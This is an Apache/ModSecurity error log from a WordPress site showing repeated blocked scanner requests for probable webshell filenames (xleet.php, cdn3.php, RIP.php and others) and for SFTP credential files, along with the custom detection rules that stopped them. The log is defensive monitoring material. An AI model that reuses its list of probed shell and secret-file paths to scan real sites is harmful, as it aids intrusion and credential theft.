[Mon Apr 13 16:20:21.260846 2026] [:error] [pid 9314:tid 9325] [client 45.130.202.82:28177] [client 45.130.202.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "adynRW_r4W8fX2GWyGSyDgAAAYk"]
[Mon Apr 13 16:20:25.563309 2026] [:error] [pid 57183:tid 57206] [client 45.130.202.83:64065] [client 45.130.202.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "adynSTDO3t8R5NaxzYS0vAAAAVU"]
[Mon Apr 13 16:20:27.252264 2026] [:error] [pid 9314:tid 9320] [client 45.130.202.104:47291] [client 45.130.202.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "adynS2_r4W8fX2GWyGSyEQAAAYQ"]
[Mon Apr 13 16:21:07.003246 2026] [autoindex:error] [pid 63406:tid 63417] [client 45.130.202.65:50119] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 13 17:32:43.638506 2026] [:error] [pid 57183:tid 57193] [client 192.144.148.122:39106] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ady4OzDO3t8R5NaxzYTc9gAAAUg"]
[Mon Apr 13 20:39:50.394003 2026] [:error] [pid 63406:tid 63417] [client 103.77.107.178:59882] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "adzkFrHZEIkQ0Zmgp5qqIQAAAMY"]
[Mon Apr 13 20:39:50.605734 2026] [:error] [pid 63311:tid 63385] [client 103.77.107.178:59899] [client 103.77.107.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "adzkFqHjrGN1MqBCVFkBUQAAAI4"]
[Mon Apr 13 21:52:48.897950 2026] [:error] [pid 7228:tid 7239] [client 74.248.132.51:51684] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adz1MAEnn1dQrOSHHNWuIQAAAQk"]
[Mon Apr 13 21:52:50.209569 2026] [:error] [pid 63406:tid 63418] [client 74.248.132.51:55056] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adz1MrHZEIkQ0Zmgp5rg8wAAAMc"]
[Mon Apr 13 21:52:52.014341 2026] [:error] [pid 63406:tid 63430] [client 74.248.132.51:62058] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adz1NLHZEIkQ0Zmgp5rg9QAAANM"]
[Mon Apr 13 21:52:53.591348 2026] [:error] [pid 63406:tid 63433] [client 74.248.132.51:50082] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adz1NbHZEIkQ0Zmgp5rg_gAAANY"]
[Mon Apr 13 21:52:57.850038 2026] [:error] [pid 63406:tid 63429] [client 74.248.132.51:7981] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "adz1ObHZEIkQ0Zmgp5rhGgAAANI"]
[Mon Apr 13 21:53:01.778007 2026] [:error] [pid 57183:tid 57190] [client 74.248.132.51:47288] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "adz1PTDO3t8R5NaxzYRlSwAAAUU"]
[Mon Apr 13 21:53:04.233711 2026] [:error] [pid 57183:tid 57194] [client 74.248.132.51:55115] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "adz1QDDO3t8R5NaxzYRlUQAAAUk"]
[Mon Apr 13 21:53:06.688165 2026] [:error] [pid 63309:tid 63337] [client 74.248.132.51:57738] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "adz1QkpIKZ10weXpf0U2kAAAABg"]
[Mon Apr 13 21:53:08.805015 2026] [:error] [pid 7228:tid 7248] [client 74.248.132.51:47248] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adz1RAEnn1dQrOSHHNWuOgAAARI"]
[Mon Apr 13 21:53:10.548278 2026] [:error] [pid 57183:tid 57200] [client 74.248.132.51:50079] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adz1RjDO3t8R5NaxzYRlYAAAAU8"]
[Mon Apr 13 21:53:11.568204 2026] [:error] [pid 7228:tid 7230] [client 74.248.132.51:57786] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adz1RwEnn1dQrOSHHNWuPgAAAQA"]
[Mon Apr 13 21:53:12.667924 2026] [:error] [pid 57183:tid 57203] [client 74.248.132.51:7999] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adz1SDDO3t8R5NaxzYRlZgAAAVI"]
[Mon Apr 13 21:53:13.844688 2026] [:error] [pid 63311:tid 63387] [client 74.248.132.51:55122] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "adz1SaHjrGN1MqBCVFkWdQAAAJA"]
[Mon Apr 13 21:53:14.709029 2026] [:error] [pid 63311:tid 63395] [client 74.248.132.51:60303] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "adz1SqHjrGN1MqBCVFkWeAAAAJg"]
[Mon Apr 13 21:53:15.627429 2026] [:error] [pid 63311:tid 63371] [client 74.248.132.51:47239] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "adz1S6HjrGN1MqBCVFkWfQAAAIA"]
[Mon Apr 13 21:53:16.431960 2026] [:error] [pid 7228:tid 7249] [client 74.248.132.51:55132] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "adz1TAEnn1dQrOSHHNWuQgAAARM"]
[Mon Apr 13 21:53:18.045805 2026] [:error] [pid 7228:tid 7245] [client 74.248.132.51:60321] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adz1TgEnn1dQrOSHHNWuRwAAAQ8"]
[Mon Apr 13 21:53:18.978913 2026] [:error] [pid 63311:tid 63386] [client 74.248.132.51:60333] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adz1TqHjrGN1MqBCVFkWgAAAAI8"]
[Mon Apr 13 21:53:19.992181 2026] [:error] [pid 63310:tid 63359] [client 74.248.132.51:63949] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adz1T3oXpRU5ztmwPjJqdAAAAE8"]
[Mon Apr 13 21:53:20.764544 2026] [:error] [pid 7228:tid 7253] [client 74.248.132.51:50090] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adz1UAEnn1dQrOSHHNWuTAAAARc"]
[Mon Apr 13 21:53:21.449164 2026] [:error] [pid 9314:tid 9319] [client 74.248.132.51:63973] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "adz1UW_r4W8fX2GWyGQ6ZAAAAYM"]
[Mon Apr 13 21:53:22.442379 2026] [:error] [pid 63406:tid 63433] [client 74.248.132.51:7377] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "adz1UrHZEIkQ0Zmgp5rhLAAAANY"]
[Mon Apr 13 21:53:23.446495 2026] [:error] [pid 57183:tid 57195] [client 74.248.132.51:55127] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "adz1UzDO3t8R5NaxzYRldwAAAUo"]
[Mon Apr 13 21:53:24.253374 2026] [:error] [pid 63406:tid 63428] [client 74.248.132.51:7971] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/161dfd072f.php"] [unique_id "adz1VLHZEIkQ0Zmgp5rhLwAAANE"]
[Mon Apr 13 21:53:25.218227 2026] [:error] [pid 7228:tid 7239] [client 74.248.132.51:50096] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "adz1VQEnn1dQrOSHHNWuWAAAAQk"]
[Mon Apr 13 21:53:26.177630 2026] [:error] [pid 63310:tid 63363] [client 74.248.132.51:7972] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "adz1VnoXpRU5ztmwPjJqfAAAAFM"]
[Mon Apr 13 21:53:27.369340 2026] [:error] [pid 63406:tid 63417] [client 74.248.132.51:60314] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "adz1V7HZEIkQ0Zmgp5rhNAAAAMY"]
[Mon Apr 13 21:53:28.715079 2026] [:error] [pid 63406:tid 63426] [client 74.248.132.51:60301] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws80.php"] [unique_id "adz1WLHZEIkQ0Zmgp5rhOAAAAM8"]
[Mon Apr 13 21:53:29.732813 2026] [:error] [pid 57183:tid 57204] [client 74.248.132.51:50106] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adz1WTDO3t8R5NaxzYRlkAAAAVM"]
[Mon Apr 13 21:53:30.820492 2026] [:error] [pid 63311:tid 63392] [client 74.248.132.51:63960] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adz1WqHjrGN1MqBCVFkWiwAAAJU"]
[Mon Apr 13 21:53:32.134913 2026] [:error] [pid 7228:tid 7252] [client 74.248.132.51:60342] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adz1XAEnn1dQrOSHHNWuYAAAARY"]
[Mon Apr 13 21:53:33.432277 2026] [:error] [pid 63311:tid 63394] [client 74.248.132.51:57730] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adz1XaHjrGN1MqBCVFkWjgAAAJc"]
[Mon Apr 13 21:53:34.429570 2026] [:error] [pid 9314:tid 9322] [client 74.248.132.51:60295] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "adz1Xm_r4W8fX2GWyGQ6gQAAAYY"]
[Mon Apr 13 21:53:35.166852 2026] [:error] [pid 57183:tid 57207] [client 74.248.132.51:57740] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "adz1XzDO3t8R5NaxzYRlmAAAAVY"]
[Mon Apr 13 21:53:36.750398 2026] [:error] [pid 9314:tid 9340] [client 74.248.132.51:7487] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "adz1YG_r4W8fX2GWyGQ6ggAAAZg"]
[Mon Apr 13 21:53:37.464678 2026] [:error] [pid 9314:tid 9337] [client 74.248.132.51:7447] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/RIP.php"] [unique_id "adz1YW_r4W8fX2GWyGQ6iAAAAZU"]
[Mon Apr 13 21:53:38.423025 2026] [:error] [pid 63406:tid 63412] [client 74.248.132.51:50077] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adz1YrHZEIkQ0Zmgp5rhXQAAAME"]
[Mon Apr 13 21:53:40.178590 2026] [:error] [pid 9314:tid 9339] [client 74.248.132.51:60294] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adz1ZG_r4W8fX2GWyGQ6jQAAAZc"]
[Mon Apr 13 21:53:42.101004 2026] [:error] [pid 63406:tid 63428] [client 74.248.132.51:60305] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adz1ZrHZEIkQ0Zmgp5rhcgAAANE"]
[Mon Apr 13 21:53:44.106839 2026] [:error] [pid 9314:tid 9325] [client 74.248.132.51:63972] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "adz1aG_r4W8fX2GWyGQ6kgAAAYk"]
[Mon Apr 13 21:53:45.584919 2026] [:error] [pid 63311:tid 63387] [client 74.248.132.51:50109] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blqjs.php"] [unique_id "adz1aaHjrGN1MqBCVFkWmQAAAJA"]
[Mon Apr 13 21:53:46.707178 2026] [:error] [pid 63311:tid 63394] [client 74.248.132.51:57776] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blqjs.php"] [unique_id "adz1aqHjrGN1MqBCVFkWmwAAAJc"]
[Mon Apr 13 21:53:57.876169 2026] [:error] [pid 63311:tid 63371] [client 74.248.132.51:47294] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "adz1daHjrGN1MqBCVFkWxwAAAIA"]
[Mon Apr 13 21:53:59.114595 2026] [:error] [pid 7228:tid 7237] [client 74.248.132.51:57196] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "adz1dwEnn1dQrOSHHNWuegAAAQc"]
[Mon Apr 13 21:54:00.155896 2026] [:error] [pid 63310:tid 63366] [client 74.248.132.51:57189] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "adz1eHoXpRU5ztmwPjJqsQAAAFY"]
[Mon Apr 13 21:54:02.138565 2026] [:error] [pid 63311:tid 63394] [client 74.248.132.51:63939] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "adz1eqHjrGN1MqBCVFkWyQAAAJc"]
[Mon Apr 13 21:54:03.114094 2026] [:error] [pid 9314:tid 9329] [client 74.248.132.51:7477] [client 74.248.132.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "adz1e2_r4W8fX2GWyGQ6vwAAAY0"]
